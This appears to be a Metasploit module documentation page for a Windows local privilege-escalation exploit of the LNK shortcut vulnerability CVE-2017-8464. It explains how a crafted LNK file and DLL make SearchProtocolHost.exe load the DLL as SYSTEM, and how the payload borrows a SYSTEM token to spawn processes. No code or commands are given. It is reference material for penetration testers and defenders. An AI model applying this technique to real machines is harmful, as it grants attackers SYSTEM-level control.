List of CVEs: CVE-2015-0096, CVE-2017-8464
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL. This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is similar except an additional SpecialFolderDataBlock is included. The folder ID set in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary DLL file. The PATH option must be an absolute path to a writeable directory which is indexed for searching. If no PATH is specified, the module defaults to %USERPROFILE%.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Stability:
- crash-service-restarts: Module may crash the service, but the service restarts.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.

Knowledge Base
Description
This module is a Windows local exploit version of the existing file
format module for CVE-2017-8464. The module works by dropping the
specially crafted LNK file and DLL to disk, which causes
SearchProtocolHost.exe
to parse the LNK file and thus load the DLL via
the vulnerability. Due to SearchProtocolHost.exe
running as SYSTEM,
this can be used to elevate privileges.
The original DLL template needed some significant reworking to make it
compatible for execution within SearchProtocolHost.exe
. The payload
was originally failing in the hollowed child rundll32.exe
process with
a denied error from winsock. This was addressed by checking if the process
which loaded the crafted DLL is SearchProtocolHost.exe
and when it is,
it opens the token of another SYSTEM process and passes it to
CreateProcessAsUser
for the payload to work. When the DLL is loaded
into another process or is not running as SYSTEM, this step is skipped
and NULL
is passed as the token.
Finally a thread is spawned to keep a module reference and monitor the
child process. This is for synchronization to prevent the payload from
being executed in rapid succession from a single exploitation attempt.
The mutex was also updated to the constant of MUTEX!!!
to leverage
Metasploit's builtin mutex name randomization, which ensures that a name
is unique per module run but not globally unique.
